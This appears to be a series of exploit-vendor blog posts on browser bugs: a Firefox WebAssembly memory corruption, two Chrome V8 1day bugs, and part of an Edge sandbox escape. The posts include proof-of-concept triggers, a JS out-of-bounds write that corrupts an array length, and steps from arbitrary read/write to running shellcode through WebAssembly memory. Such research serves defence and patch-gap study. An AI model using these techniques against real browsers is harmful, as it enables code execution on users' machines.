The next relevant call is to the WasmInstanceObject::getExportedFunction() method as it allows memory corruption at an arbitrary address. The method receives valid objects passed in as arguments and also receives the controllable funcIndex variable which we set to 0.
/* static */ bool
WasmInstanceObject::getExportedFunction(JSContext* cx, HandleWasmInstanceObject instanceObj,
uint32_t funcIndex, MutableHandleFunction fun)
{
if (ExportMap::Ptr p = instanceObj->exports().lookup(funcIndex)) {
fun.set(p->value());
return true;
}
const Instance& instance = instanceObj->instance();
unsigned numArgs = instance.metadata().lookupFuncExport(funcIndex).sig().args().length();
// asm.js needs to act like a normal JS function which means having the name
// from the original source and being callable as a constructor.
if (instance.isAsmJS()) {
RootedAtom name(cx, instance.code().getFuncAtom(cx, funcIndex));
if (!name)
return false;
fun.set(NewNativeConstructor(cx, WasmCall, numArgs, name, gc::AllocKind::FUNCTION_EXTENDED,
SingletonObject, JSFunction::ASMJS_CTOR));
if (!fun)
return false;
} else {
RootedAtom name(cx, NumberToAtom(cx, funcIndex));
if (!name)
return false;
fun.set(NewNativeFunction(cx, WasmCall, numArgs, name, gc::AllocKind::FUNCTION_EXTENDED));
if (!fun)
return false;
}
fun->setExtendedSlot(FunctionExtended::WASM_INSTANCE_SLOT, ObjectValue(*instanceObj));
fun->setExtendedSlot(FunctionExtended::WASM_FUNC_INDEX_SLOT, Int32Value(funcIndex));
if (!instanceObj->exports().putNew(funcIndex, fun)) {
ReportOutOfMemory(cx);
return false;
}
return true;
}
The instanceObj->exports() call returns a hash table. We fail the hash table lookup in order to reach the call to putNew(). Next, inside of the Metadata::lookupFuncExport() method, a second binary search is performed and it must return a result.
const FuncExport&
Metadata::lookupFuncExport(uint32_t funcIndex) const
{
size_t match;
if (!BinarySearch(ProjectFuncIndex(funcExports), 0, funcExports.length(), funcIndex, &match))
MOZ_CRASH("missing function export");
return funcExports[match];
}
The Metadata object is also fake and is located at address 0x4d0f0000. BinarySearch() calls BinarySearchIf() with arguments aContainer and aEnd under our control.
The HashTable::prepareHash() method calculates the hash for the given key and in our case will return 0xfffffffe. This will cause findFreeEntry() to corrupt the JSValueTag at 0x4d0f0064, changing it from JSVAL_TAG_STRING (0xffffff86) to JSVAL_TAG_SYMBOL (0xffffff87), as shown below.
; File: xul.dll
; Version: 54.0.0.6368
.text:10BE112F private: class js::detail::HashTableEntry<class js::HashMapEntry<unsigned int, class js::jit::MDefinition *>> & __thiscall js::detail::HashTable<class js::HashMapEntry<unsigned int, class js::jit::MDefinition *>, struct js::HashMap<unsigned int, class js::jit::MDefinition *, struct js::DefaultHasher<unsigned int>, class js::SystemAllocPolicy>::MapHashPolicy, class js::SystemAllocPolicy>::findFreeEntry(unsigned int) proc near
.text:10BE112F
.text:10BE112F var_4 = dword ptr -4
.text:10BE112F arg_0 = dword ptr 8
.text:10BE112F
.text:10BE112F push ebp
.text:10BE1130 mov ebp, esp
.text:10BE1132 push ecx
.text:10BE1133 push ebx
.text:10BE1134 push esi
.text:10BE1135 mov ebx, ecx
.text:10BE1137 push edi
.text:10BE1138 mov edi, [ebp+arg_0]
.text:10BE113B mov esi, edi
.text:10BE113D movzx ecx, byte ptr [ebx+7] ; movzx ecx,byte ptr [ebx+7] ds:002b:4d0f00b7=7e
.text:10BE1141 shr esi, cl ; 0xfffffffe >>> 0x7e, esi becomes 0x3 (in inlined hash1() call)
.text:10BE1143 mov edx, esi
.text:10BE1145 mov [ebp+var_4], ecx
.text:10BE1148 shl edx, 4
.text:10BE114B add edx, [ebx+8] ; add edx,dword ptr [ebx+8] ds:002b:4d0f00b8=4d0f0034 (edx = 0x30)
.text:10BE114E cmp dword ptr [edx], 1 ; cmp dword ptr [edx],1 ds:002b:4d0f0064=ffffff86 (inlined entry->isLive())
.text:10BE1151 jbe short loc_10BE1180
.text:10BE1153 push 20h ; start of inlined hash2() call
.text:10BE1155 pop eax
.text:10BE1156 sub eax, ecx
.text:10BE1158 mov ecx, eax
.text:10BE115A shl edi, cl
.text:10BE115C mov ecx, [ebp+var_4]
.text:10BE115F shr edi, cl
.text:10BE1161 mov ecx, eax
.text:10BE1163 xor eax, eax
.text:10BE1165 or edi, 1
.text:10BE1168 inc eax
.text:10BE1169 shl eax, cl
.text:10BE116B dec eax ; end of inlined hash2() call
.text:10BE116C
.text:10BE116C loc_10BE116C:
.text:10BE116C or dword ptr [edx], 1 ; or dword ptr [edx],1 ds:002b:4d0f0064=ffffff86 (inlined entry->setCollision() call)
.text:10BE116F sub esi, edi
.text:10BE1171 and esi, eax
.text:10BE1173 mov edx, esi
.text:10BE1175 shl edx, 4
.text:10BE1178 add edx, [ebx+8]
.text:10BE117B cmp dword ptr [edx], 1 ; (inlined entry->isLive())
.text:10BE117E ja short loc_10BE116C ;
.text:10BE1180
.text:10BE1180 loc_10BE1180:
.text:10BE1180 pop edi
.text:10BE1181 pop esi
.text:10BE1182 mov eax, edx
.text:10BE1184 pop ebx
.text:10BE1185 mov esp, ebp
.text:10BE1187 pop ebp
.text:10BE1188 retn 4
Fake Symbol
The heap spray contains a JSString at address 0x4d0f0060, as shown below.
After corrupting the JSValueTag, the string becomes a fake JS::Symbol object. By calling toString() on the fake symbol, 0x30 bytes from address 0x4d0f0080 are leaked. This includes the address of a TypedArray object at 0x4d0f0098 and the address of an iframe at 0x4d0f00a8 to be used later.
Arbitrary Memory Read/Write
Once the address of the TypedArray object has been leaked, the corrupted part of the heap spray is restored to its original contents and the write address is updated to point to the unaligned address of the length field of the TypedArray object. The vulnerability is then triggered a second time. Below is the contents of the Typed Array object before.
At address 0x14642218 the TypedArray length is located, the data buffer starts at 0x14642230, and the next TypedArray is located at address 0x14642270. Below is the contents after the write changes the length from 0x10 to 0x10010.
The corrupted TypedArray is then used to overwrite length of the next adjacent TypedArray with 0xffffffff. This way arbitrary memory read/write is achieved.
In the next post in this series we will use the ability to read and write arbitrary memory to achieve code execution.
In 2019 we looked at patch gapping Chrome on two separateoccasions. The conclusion was that exploiting 1day vulnerabilities well before the fixes were distributed through the stable channel is feasible and allows potential attackers to have 0day-like capabilities with only known vulnerabilities. This was the result of a combination of factors:
the 6-week release-cycle of Chrome that only included occasional releases in-between
the open-source development model that makes security fixes public before they are released to end-users
this is compounded by the fact that regression tests are often included with patches, reducing exploit development time significantly. It is often the case that achieving the initial corruption is the hardest part of a browser/JS engine exploit as the rest can be relatively easily reused
Mozilla seems to tackle the issue by withholding security-critical fixes from public source repositories right up to the point of a release and not including regressions tests with them. Google went with an aggressive release schedule, first to a biweekly cycle for stable, then pushing it even further with what appears to be weekly releases in February.
This post tries to examine if leveraging 1day vulnerabilities in Chrome is still practical by analyzing and exploiting a vulnerability in TurboFan. Some details of v8 that were already discussed in our previous posts will be glossed over, so we would recommend reading them as a refresher.
The vulnerability
We will be looking at Chromium issue 1053604 (restricted for the time being), fixed on the 19th of February. It has all the characteristics of a promising 1day candidate: simple but powerful-looking regression test, incorrect modeling of side-effects, easy to understand one-line change. The CL with the patch can be found here, the abbreviated code of the affected function can be seen below.
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
...
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
...
case IrOpcode::kCheckMaps: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = CheckMapsParametersOf(effect->op()).maps();
return result;
}
break;
}
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
}
...
}
// Stop walking the effect chain once we hit the definition of
// the {receiver} along the {effect}s.
if (IsSame(receiver, effect)) return kNoReceiverMaps;
// Continue with the next {effect}.
effect = NodeProperties::GetEffectInput(effect);
}
}
The changed function, NodeProperties::InferReceiverMapsUnsafe is called through the MapInference::MapInference constructor. It is used to walk the effect chain of the compiled function backward from the use of an object as a receiver for a function call and find the set of possible maps that the object can have. For example, when encountering a CheckMaps node on the effect chain, the compiler can be sure that the map of the object can only be what the CheckMaps node looks for. In the case of the JSCreate node indicated in the vulnerability, if it creates the receiver the compiler tries to infer the possible maps for, the initial map of the created object is returned. However, if the JSCreate is for a different object than the receiver, it is assumed that it cannot change the map of the receiver. The vulnerability results from this oversight, as JSCreate accesses the prototype of the new target, which can be intercepted by a Proxy. This can cause arbitrary user JS code to execute.
In the patched version, if a JSCreate is encountered on the effect chain, the inference result is marked as unreliable. The compiler can still optimize based on the inferred maps but has to guard for them explicitly, fixing the issue.
The MapInference class is used mainly by the JSCallReducer optimizer of TurboFan, which attempts to special-case or inline some function calls based on the inferred maps of their receiver objects. The regression test included with the patch is shown below.
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
The issue is triggered in function f, through Array.prototype.pop. The Reflect.construct call is turned into a JSCreate operation, which will run user JS code if a Proxy is passed in that intercepts the prototype get access. While the pop function does not take an argument, providing the return value of Reflect.construct as one ensures that there is an effect edge between the resulting JSCreate and JSCall nodes so that the vulnerability can be triggered.
The function implementing reduction of calls to Array.prototype.pop is JSCallReducer::ReduceArrayPrototypePop, its code is shown below.
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
...
Node* receiver = NodeProperties::GetValueInput(node, 1);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
MapInference inference(broker(), receiver, effect);
if (!inference.HaveMaps()) return NoChange();
MapHandles const& receiver_maps = inference.GetMaps();
std::vector<ElementsKind> kinds;
if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
return inference.NoChange();
}
if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect, control, p.feedback());
std::vector<Node*> controls_to_merge;
std::vector<Node*> effects_to_merge;
std::vector<Node*> values_to_merge;
Node* value = jsgraph()->UndefinedConstant();
Node* receiver_elements_kind = LoadReceiverElementsKind(receiver, &effect, &control);
Node* next_control = control;
Node* next_effect = effect;
for (size_t i = 0; i < kinds.size(); i++) {
// inline pop for every inferred receiver map element kind and dispatch as appropriate
...
}
If the receiver maps of the call can be inferred, it replaces the JSCall to the runtime Array.prototype.pop with an implementation specialized to the element kinds of the inferred maps. Line 14 creates a MapInference object which invokes NodeProperties::InferReceiverMapsUnsafe, which infers the map(s) and also returns kReliableReceiverMaps. Based on this return value RelyOnMapsPreferStability won’t insert map checks or code dependencies. This changes in the patched version, as encountering a JSCreate during the effect chain walk will change the return value to kUnreliableReceiverMaps, which makes RelyOnMapsPreferStability insert the needed checks.
So what happens in the regression test? The array a is defined with PACKED_SMI_ELEMENTS element kind. When the f function is optimized on the third invocation of main, Reflect.construct is turned into a JSCreate node, a.pop into a JSCall with an effect edge between the two. Then the JSCall is reduced based on the inferred map information, which is incorrectly marked as reliable, so no map check will be done after the Reflect.construct call. When invoked with the Proxy argument, the user JS code changes the element kind of a to PACKED_DOUBLE_ELEMENTS, then the inlined pop operates on it as if it was still a packed SMI array, leading to a type confusion.
There are many callsites of the MapInference constructor but those that look the most immediately useful are the JSCallReducers for the pop, push and shift array functions.
Exploitation
To exploit the vulnerability, it is first necessary to understand pointer compression, a recent improvement to v8. It is a scheme on 64-bit architectures to save memory by using 32-bit pointers into a 4GB-aligned, 4GB in size compressed heap. According to measurements by the developers, this saves 30-40% on the memory usage of v8. From an exploitation perspective, this has several implications:
on 64-bit platforms, SMIs and tagged pointers are now 32-bit in size, while doubles in unboxed arrays storage remain 64-bit
it adds the additional step of achieving arbitrary read/write within the compressed heap to an exploit
The vulnerability grants the addrof and fakeobj primitives readily, as we can treat unboxed double values as tagged pointers or the other way around. However, since pointer compression made tagged pointers 4-byte, it is also possible to write out-of-bounds by using a DOUBLE_ELEMENTS array, turning it into a tagged/SMI ELEMENTS array in the Proxy getter and using Array.prototype.push to add an element to this confused array. The code below uses this to modify the length of a target array to an arbitrary value.
let a = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var b;
a.pop();
a.pop();
a.pop();
function empty() {}
function f(nt) {
a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
}
let p = new Proxy(Object, {
get: function() {
a[0] = {};
b = [0.2, 1.2, 2.2, 3.2, 4.3];
return Object.prototype;
}
});
function main(o) {
return f(o);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
console.log(b.length); // prints 819
When Line 15 converts a into HOLEY_ELEMENTS storage, its elements storage is reallocated and the unboxed double values are converted to HeapNumbers, which are just compressed pointers to a map and the double value. This makes the array shrink to half in size, then the following push call will still treat the array as if it had HOLEY_DOUBLE storage, writing to length*8, instead of length*4. We use this to corrupt the length of the b array.
At this point, the corrupted array can be conveniently used for relative OOB reads and writes with unboxed double values. From here on, exploitation follows these steps:
implementing addrof: can be done by allocating an object after the corrupted float array that can be used to set an inline property on it. This inline property can be read out through the corrupted array.
getting absolute read/write access to the compressed heap: place an array with PACKED_DOUBLE_ELEMENTS element kind after the corrupted array, change its elements pointer using the corrupted array to the desired location and read through it.
getting absolute uncompressed read/write: TypedArrays use 64-bit backing store pointers as they will support allocations larger than what fits on the compressed heap. Placing a TypedArray after the corrupted array and modifying its backing store thus gives absolute uncompressed read/write access.
code execution: load a WASM module, leak the address of the RWX mapping storing the code of one of its functions, replace it with shellcode.
The exploit code can be found here. Note that there’s no sandbox escape vulnerability included.
Conclusion
It took us around 3 days to exploit the vulnerability after discovering the fix. Considering that a potential attacker would try to couple this with a sandbox escape and also work it into their own framework, it seems safe to say that 1day vulnerabilities are impractical to exploit on a weekly or bi-weekly release cycle, hence the title of this post.
Another interesting development that affects exploit development for v8 is pointer compression. It does not complicate matters significantly (it was not meant to do that, anyway) but it might present interesting new avenues for exploitation. For example the things that reside at the beginning of the heap, the roots, the native context, the table of builtins, are now all at predictable and writable compressed addresses.
The timely analysis of these 1day and nday vulnerabilities is one of the key differentiators of our Exodus nDay Subscription. It enables our customers to ensure their defensive measures have been implemented properly even in the absence of a proper patch from the vendor. This subscription also allows offensive groups to test mitigating controls and detection and response functions within their organizations. Corporate SOC/NOC groups also make use of our nDay Subscription to keep watch on critical assets.
Patch-gapping is the practice of exploiting vulnerabilities in open-source software that are already fixed (or are in the process of being fixed) by the developers before the actual patch is shipped to users. This window, in which the issue is semi-public while the user-base remains vulnerable, can range from from days to months. It is increasingly seen as a serious concern, with possible in-the-wild uses detected by Google. In a previous post, we demonstrated the feasibility of developing a 1day exploit for Chrome well before a patch is rolled out to users. In a similar vein, this post details the discovery, analysis and exploitation of another recent 1day vulnerability affecting Chrome.
Background
Besides analyzing published vulnerabilities, our nDay team also identifies possible security issues while the fixes are in development. An interesting change list on chromium-review piqued our interest in mid-August. It was for an issue affecting sealed and frozen objects, including a regression test that triggered a segmentation fault. It has been abandoned (and deleted) since then in favor of a different patch approach, with work continuing under CL 1760976, which is a much more involved change.
Since the fix turned out to be so complex, the temporary solution for the 7.7 v8 branch was to disable the affected functionality. This will only be rolled into a stable release on the 10th of September, though. A similar change was made in the 7.6 branch but it came two days after a stable channel update to 76.0.3809.132, so it wasn’t included in that release. As such, the latest stable Chrome release remains affected. These circumstances made the vulnerability an ideal candidate to develop a 1day exploit for.
The commit message is descriptive, the issue is the result of the effects of Object.preventExtensions and Object.seal/freeze on the maps and element storage of objects and how incorrect map transitions are followed by v8 under some conditions. Since map handling in v8 is a complex topic, only the absolutely necessary details will be discussed that are required to understand the vulnerability. More information on the relevant topics can be found under the following links:
JS engines implement several optimizations on the property storage of objects. A common technique is to use separate backing stores for the integer keys (often called elements) and string/Symbol keys (usually referred to as slots or named properties). This allows the engines to potentially use continuous arrays for properties with integer keys, where the index maps directly to the underlying storage, speeding up access. String keyed values are also stored in an array but to get the index corresponding to the key, another level of indirection is needed. This information, among other things, is provided by the map (or HiddenClass) of the object.
The storage of object shapes in a HiddenClass is another attempt at saving storage space. HiddenClasses are similar in concept to classes in object-oriented languages. However, since it is not possible to know the property configuration of objects in a prototype-based language like JavaScript in advance, they are created on demand. JS engines only create a single HiddenClass for a given shape, which is shared by every object that has the same structure. Adding a named property to an object results in the creation of a new HiddenClass, which contains the storage details for all the previous properties and the new one, then the map of the object is updated, as shown below (figures from the v8 dev blog).
These transitions are saved in a HiddenClass chain, which is consulted when new objects are created with the same named properties, or the properties are added in the same order. If there is a matching transition, it is reused, otherwise a new HiddenClass is created and added to the transition tree.
The properties themselves can be stored in three places. The fastest is in-object storage, which only needs a lookup for the key in the HiddenClass to find the index into the in-object storage space. This is limited to a certain number of properties, others are stored in the so-called fast storage, which is a separate array pointed by the properties member of the object, as shown below.
If an object has many properties added and deleted, it can get expensive to maintain the HiddenClasses. V8 uses heuristics to detect such cases and migrate the object to a slow, dictionary based property storage, as shown on the following diagram.
Another frequent optimization is to store the integer keyed elements in a dense or packed format, if they can all fit in a specific representation, e.g. small integer or float. This bypasses the usual value boxing in the engines, which stores numbers as pointers to Number objects, thus saving space and speeding up operations on the array. V8 handles several such element kinds, for example PACKED_SMI_ELEMENTS, which denotes an elements array with small integers stored contiguously. This storage format is tracked in the map of the object and needs to be kept updated all the time to avoid type confusion issues. Element kinds are organized into a lattice, transitions are only ever allowed to more general types. This means that adding a float value to an object with PACKED_SMI_ELEMENTS elements kind will convert every value to double, set the newly added value and change the element kind to PACKED_DOUBLE_ELEMENTS.
preventExtensions, seal and freeze
JavaScript provides several ways to fix the set of properties on an object.
Object.preventExtensions: prevents new properties from being added to the object.
Object.seal: prevents the addition of new properties, as well as the reconfiguration of existing ones (changing their writable, enumerable or configurable attributes).
Object.freeze: the same as Object.seal but also prevent the changing of property values, thus effectively prohibiting any change to an object.
PoC analysis
The vulnerability arises because v8 follows map transitions in certain cases without updating the element backing store accordingly, which can have wide-ranging consequences. A modified trigger with comments is shown below.
// Based on test/mjsunit/regress/regress-crbug-992914.js
function mainSeal() {
const a = {foo: 1.1}; // a has map M1
Object.seal(a); // a transitions from M1 to M2 Map(HOLEY_SEALED_ELEMENTS)
const b = {foo: 2.2}; // b has map M1
Object.preventExtensions(b); // b transitions from M1 to M3 Map(DICTIONARY_ELEMENTS)
Object.seal(b); // b transitions from M3 to M4
const c = {foo: Object} // c has map M5, which has a tagged `foo` property, causing the maps of `a` and `b` to be deprecated
b.__proto__ = 0; // property assignment forces migration of b from deprecated M4 to M6
a[5] = 1; // forces migration of a from the deprecated M2 map, v8 incorrectly uses M6 as new map without converting the backing store. M6 has DICTIONARY_ELEMENTS while the backing store remained unconverted.
}
mainSeal();
In the proof-of-concept code, two objects, a and b are created with the same initial layout, then a is sealed and Object.preventExtensions and Object.seal is called on b. This causes a to switch a map with HOLEY_SEALED_ELEMENTS elements kind and b is migrated to slow property storage via a map with DICTIONARY_ELEMENTS elements kind.
The vulnerability is triggered in lines 10-13. Line 10 creates object c with an incompatibly typed foo property. This causes a new map with a tagged foo property to be created for c and the maps of a and b are marked deprecated. This means that they will be migrated to a new map on the next property set operation. Line 11 triggers the transition for b, Line 13 triggers it for a. The issue is that v8 mistakenly assumes that a can be migrated to the same map as b but fails to also convert the backing store. This causes a type confusion to happen between a FixedArray (the Properties array shown in the Object Layout In v8 section) and a NumberDictionary (the Properties Dict).
A type confusion the other way around is also possible, as demonstrated by another regression test in the patch. There are probably also other ways this invalid map transition could be turned into an exploitable primitive, for example by breaking assumptions made by the optimizing JIT compiler.
Exploitation
The vulnerability can be turned into an arbitrary read/write primitive by using the type confusion shown above to corrupt the length of an Array, then using that Array for further corruption of TypedArrays. These can then be leveraged to achieve arbitrary code execution in the renderer process.
FixedArray and NumberDictionary Memory Layout
FixedArray is the C++ class used for the backing store of several different JavaScript objects. It has a simple layout, shown below, with only a map pointer, a length field stored as a v8 small integer (essentially a 31-bit integer left-shifted by 32), then the elements themselves.
The NumberDictionary class implements an integer keyed hash table on top of FixedArray. Its layout is shown below. It has four additional members besides map and length:
elements: the number of elements stored in the dictionary.
deleted: number of deleted elements.
capacity: number of elements that can be stored in the dictionary. The length of the FixedArray backing a number dictionary will be three times its capacity plus the extra header members of the dictionary (four).
max number key index: the greatest key stored in the dictionary.
The vulnerability makes it possible to set these four fields to arbitrary values in a plain FixedArray, then trigger the type confusion and treat them as header fields of a NumberDictionary.
Elements in a NumberDictionary are stored as three slots in the underlying FixedArray. E.g. the element with the key 0 starts at 0x2d7782c4bf10 above. First comes the key, then the value, in this case a small integer holding 0x4141, then the PropertyDescriptor denoting the configurable, writable, enumerable attributes of the property. The 0xc000000000 PropertyDescriptor corresponds to all three attributes set.
The vulnerability makes all header fields of a NumberDictionary, except length, controllable by setting them to arbitrary values in a plain FixedArray, then treating them as header fields of a NumberDictionary by triggering the issue. While the type confusion can also be triggered in the other direction, it did not yield any immediately promising primitives. Further type confusions can also be caused by setting up a fake PropertyDescriptor to confuse a data property with an accessor property but these also proved too limited and were abandoned.
The capacity field is the most interesting from an exploitation perspective, since it is used in most bounds calculations. When attempting to set, get or delete an element, the HashTable::FindEntry function is used to get the location of the element corresponding to the key. Its code is shown below.
// Find entry for key otherwise return kNotFound.
template <typename Derived, typename Shape>
int HashTable<Derived, Shape>::FindEntry(ReadOnlyRoots roots, Key key,
int32_t hash) {
uint32_t capacity = Capacity();
uint32_t entry = FirstProbe(hash, capacity);
uint32_t count = 1;
// EnsureCapacity will guarantee the hash table is never full.
Object undefined = roots.undefined_value();
Object the_hole = roots.the_hole_value();
USE(the_hole);
while (true) {
Object element = KeyAt(entry);
// Empty entry. Uses raw unchecked accessors because it is called by the
// string table during bootstrapping.
if (element == undefined) break;
if (!(Shape::kNeedsHoleCheck && the_hole == element)) {
if (Shape::IsMatch(key, element)) return entry;
}
entry = NextProbe(entry, count++, capacity);
}
return kNotFound;
}
The hash tables in v8 use quadratic probing with a randomized hash seed. This means that the hash argument in the code, and the exact layout of dictionaries in memory will change from run to run. The FirstProbe and NextProbe functions, shown below, are used to look for the location where the value is stored. Their size argument is the capacity of the dictionary and thus, attacker-controlled.
Capacity is a power-of-two number under normal conditions and masking the probes with capacity-1 results in limiting the range of accesses to in-bounds values. However, setting the capacity to a larger value via the type-confusion will result in out-of-bounds accesses. The issue with this approach is the random hash seed, which will cause probes and thus out-of-bounds accesses to random offsets. This can easily results in crashes, as v8 will try to interpret any odd value as a tagged pointer.
A possible solution is to set capacity to an out-of-bounds number k that is a power-of-two plus one. This causes the FindEntry algorithm to only visit two possible locations, one at offset zero, and one at offset k (times three). With careful padding, a target Array can be placed following the dictionary, which has its length property at just that offset. Invoking a delete operation on the dictionary with a key that is the same as the length of the target Array will cause the algorithm to replace the length with the hole value. The hole is a valid pointer to a static object, in effect a large value, allowing the target Array to be used for more convenient, array-based out-of-bounds read and write operations.
While this method can work, it is nondeterministic due to the randomization and the degraded nature of the corrupted NumberDictionary. However, failure does not crash Chrome and is easily detectable; reloading the page reinitializes the hash seed so the exploit can be attempted an arbitrary number of times.
Arbitrary Code Execution
The following object layout is used to gain arbitrary read/write access to the process memory space:
o: the object that will be used to trigger the vulnerability.
padding: an Array that is used as padding to get the target float array at exactly the right offset from o.
float_array: the Array that is the target of the initial length corruption via the out-of-bounds element deletion on o.
tarr: a TypedArray used to corrupt the next typed array.
aarw_tarr: typed array used for arbitrary memory access.
obj_addrof: object used to implement the addrof primitive which leaks the address of an arbitrary JavaScript object.
The exploit achieves code execution by the following the usual steps after the initial corruption:
Create the layout described above.
Trigger the vulnerability, corrupt the length of float_array through the deletion of a property on o. Restart the exploit by reloading the page in case this step fails.
Corrupt the length of tarr to increase reliability, since continued usage of the corrupted float array can introduce problems.
Corrupt the backing store of aarw_tarr and use it to gain arbitrary read write access to the address space.
Load a WebAssembly module. This maps a read-write-executable memory region of 4KiB into the address space.
Traverse the JSFunction object hierarchy of an exported function from the WebAssembly module using the arbitrary read/write primitive to find the address of the read-write-executable region.
Replace the code of the WebAssembly function with shellcode and execute it by invoking the function.
The complete exploit code can be found on our GitHub page and seen in action below. Note that a separate vulnerability would be needed to escape the sandbox employed by Chrome.
Detection
The exploit doesn’t rely on any uncommon features or cause unusual behavior in the renderer process, which makes distinguishing between malicious and benign code difficult without false positive results.
Mitigation
Disabling JavaScript execution via the Settings / Advanced settings / Privacy and security / Content settings menu provides effective mitigation against the vulnerability.
Conclusion
Subscribers of our nDay feed had access to the analysis and functional exploit 5 working days after the initial patch attempt appeared on chromium-review. A fix in the stable channel of Chrome will only appear in version 77, scheduled to be released tomorrow.
Malicious actors probably have capabilities based on patch-gapping. Timely analysis of such vulnerabilities allows our customers to test how their defensive measures hold up against unpatched security issues. It also enables offensive teams to test the detection and response functions within their organization.
This is the second part of the blog post on the Microsoft Edge full-chain exploit. It provides analysis and describes exploitation of a logical vulnerability in the implementation of the Microsoft Edge browser sandbox which allows arbitrary code execution with Medium Integrity Level.
Background
Microsoft Edge employs various Inter-Process Communication (IPC) mechanisms to communicate between content processes, the Manager process and broker processes. The one IPC mechanism relevant to the described vulnerability is implemented as a set of custom message passing functions which extend the standard Windows API PostMessage() function. These functions look like the following:
The listed functions are used to send messages with or without data and are stateless. No direct way to get the result of an operation is supported. The functions return only the result of the message posting operation, which does not guarantee that the requested action has completed successfully. The main goal of these functions is to trigger certain events (e.g. when a user is clicking on the navigation panel), signal state information, and notification of user interface changes.
Messages are sent to the windows of the current process or the windows of the Manager process. A call to PostMessage() is chosen when the message is sent to the current process. For the inter-process messaging a shared memory section and Windows events are employed. The implementation details are hidden from the developer and the direction of the message is chosen based on the value of the window handle. Each message has a unique identifier which denotes the kind of action to perform as a response to the trigger.
Messages that are supposed to be created as a reaction to a user triggered event are passed from one function to another through the virtual layer of different handlers. These handlers process the message and may pass the message further with a different message identifier.
The Vulnerability
The Microsoft Edge Manager process accepts messages from other processes, including content process. Some messages are meant to be run only internally, without crossing process boundaries. A content process can send messages which are supposed to be sent only within the Manager process. If such a message arrives from a content process, it is possible to forge user clicks and thus download and launch an arbitrary binary.
When the download of an executable file is initiated (either by JavaScript code or by user request) the notification bar with buttons appears and the user is offered three options: “Run” to run the offered file, “Download” to download, or “Cancel” to cancel. If the user clicks “Run”, a series of messages are posted from one Manager process window to another. It is possible to see what kind of messages are passed in the debugger by using following breakpoints:
bu edgeIso!LCIEPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithDISPPARAMS ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageUsingVirtualAddress ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
There are a large number of messages sent during the navigation and subsequent file download, which forms a complex order of actions. The following list represents a simplified description of the actions performed by either a content process (CP) or the Manager process (MP) during ordinary user activities:
a user clicks on a link to navigate (or the navigation is triggered by JavaScript code)
a navigation event is fired (messages sent from CP to MP)
messages for the modal download notification bar creation and handling are sent (CP to MP)
the modal notification bar appears
messages to handle the navigation and the state of the history are sent (CP to MP)
messages are sent to handle DOM events (CP to MP)
the download is getting handled again; messages with relevant download information are passed (CP to MP)
the user clicks “Run” to run the file download
messages are sent about the state of the download (MP to CP)
the CP responds with updated file download information and terminates download handling in its own process
the MP picks up file download handling and starts sending messages to its own Windows (MP to MP)
the MP starts the security scan of the downloaded file (MP to MP)
if the scan has completed successfully, a message is sent to the broker process to run the file
the “browser_broker.exe” broker process launches the executable file
The first message in the series of calls is the response to the user’s click and it initiates the actual series of message passing events. Next follows a message which is important for the exploit because the call stack includes the function which the exploit will imitate. Excerpt of the debugger log file looks like the following:
The last message sent is important as well, it has the identifier 0xd6b and it initiates running the file. Excerpt of the debugger log file looks like the following:
The message sent by SpartanCore::DownloadsHandler::SendCommand() is spoofed by the exploit code.
Exploit Development
The exploit code is completely implemented in Javascript and calls the required native functions from Javascript.
The exploitation process can be divided into the following stages:
changing location origin of the current document
executing the JavaScript code which offers to run the download file
posting a message to the Manager process which triggers the file to be run
restoring original location.
Depending on the location of the site, the Edge browser may warn the user about potentially unsafe file download. In the case of internet sites, the user is always warned. As well the Edge browser checks the referrer of the download and may refuse to run the downloaded file even when the user has explicitly chosen to run the file. Additionally, the downloaded file is scanned with Microsoft Windows Defender SmartScreen which blocks any file from running if the file is considered malicious. This prevents a successful attack.
